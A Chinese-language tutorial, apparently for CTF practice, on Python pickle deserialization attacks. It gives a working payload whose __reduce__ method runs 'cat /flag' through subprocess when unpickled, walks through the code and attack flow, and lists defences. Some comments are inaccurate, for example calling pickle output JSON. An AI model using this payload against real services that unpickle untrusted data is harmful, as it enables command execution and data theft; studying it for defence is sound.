python反序列化基础

python反序列通常会用Pickle组件进行操作，和python中的json转换一样，使用loads和dumps2个函数实现反序列化和序列化操作

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import pickle

text = 'helloworld'

sertext = pickle.dumps(text)  转化为josn字符
print(sertext)
reltext = pickle.loads(sertext)     输出为人看得懂的（反序列化）
print(reltext)

原理与PHP反序列化差不多其实

简单代码：

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import pickle
import base64

class Exploit:
    def __reduce__(self):
        # 直接执行ls并返回结果（适用于显示反序列化结果的场景）
        return (__import__('subprocess').check_output, (['cat','/flag'],))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

1. 代码逐行分析

1.1 导入依赖库

python

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import pickle
import base64
  • **pickle**：Python内置的序列化模块，用于将对象转换为字节流（序列化）或从字节流重建对象（反序列化）。
  • **base64**：用于将二进制数据编码为ASCII字符串，便于在网络或文本环境中传输。

1.2 定义恶意类 Exploit

python

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class Exploit:
    def __reduce__(self):
        # 核心逻辑：定义反序列化时执行的代码
        return (__import__('subprocess').check_output, (['cat','/flag'],))
  • __reduce__ 方法：
    • 在对象被序列化时，若类定义了此方法，pickle 会调用它。
    • 返回值必须是一个元组，格式为 (callable, args)，其中：
      • **callable**：可调用对象（如函数、类）。
      • **args**：传递给可调用对象的参数（必须是元组）。
    • 此处返回的 callable 是 subprocess.check_output（用于执行系统命令并捕获输出），args 是命令列表 ['cat', '/flag']。

1.3 生成Payload并编码

python

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payload = pickle.dumps(Exploit())  # 序列化对象为字节流
print(base64.b64encode(payload).decode())  # Base64编码为ASCII字符串
  • **pickle.dumps()**：将 Exploit 类的实例序列化为二进制数据（字节流）。
  • **base64.b64encode()**：将二进制数据编码为Base64字符串，确保其可通过文本协议（如HTTP）传输。

2. 攻击原理

2.1 反序列化过程触发代码执行

当服务端对接收到的Base64字符串进行反序列化（如调用 pickle.loads()）时，会执行以下操作：

  1. 重建 Exploit 对象：根据序列化数据调用 __reduce__ 方法。
  2. **执行 subprocess.check_output(['cat', '/flag'])**：
    • **subprocess.check_output()**：执行系统命令 cat /flag，并返回命令的标准输出（即文件内容）。
    • **cat /flag**：读取目标文件 /flag 的内容（假设CTF的flag存储在此路径）。

2.2 结果回显

  • 如果服务端在反序列化后将结果返回给用户（例如打印到响应中），你将在输出中直接看到 /flag 文件的内容。

  • 示例输出：

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    反序列化成功: b'CTF{this_is_a_fake_flag}\n'

3. 关键点解析

3.1 为何 subprocess.check_output 有效？

  • 命令执行：check_output 会执行给定的命令，并捕获其输出（以字节流形式返回）。
  • 无Shell依赖：命令参数以列表形式传递（如 ['cat', '/flag']），避免Shell注入风险，同时确保参数正确解析。

3.2 为何需要Base64编码？

  • 传输安全：二进制序列化数据可能包含不可打印字符，Base64编码后仅包含字母、数字和 +/= 符号，适合通过HTTP请求或表单提交。

3.3 为何 __reduce__ 方法是关键？

  • Hook点：pickle 在反序列化时会自动调用 __reduce__，使得攻击者可以注入任意代码执行逻辑。

4. 防御与风险

4.1 为何这种攻击有效？

  • 设计缺陷：pickle 反序列化本质上是“重建对象时执行任意代码”，无法验证数据来源的合法性。
  • 服务端信任输入：若服务端反序列化了用户可控的未经验证的数据，攻击即可成功。

4.2 如何防御此类攻击？

  • 禁止反序列化不可信数据：最根本的解决方案。
  • 使用安全序列化格式：如JSON、XML（不涉及代码执行）。
  • 签名验证：对序列化数据签名，确保未被篡改。

5. 完整攻击流程

  1. 构造Payload：生成包含恶意 Exploit 类的序列化数据。
  2. Base64编码：转换为可传输的文本格式。
  3. 提交Payload：通过HTTP请求或其他接口发送给服务端。
  4. 触发攻击：服务端反序列化数据，执行 cat /flag。
  5. 获取结果：从响应中提取flag。
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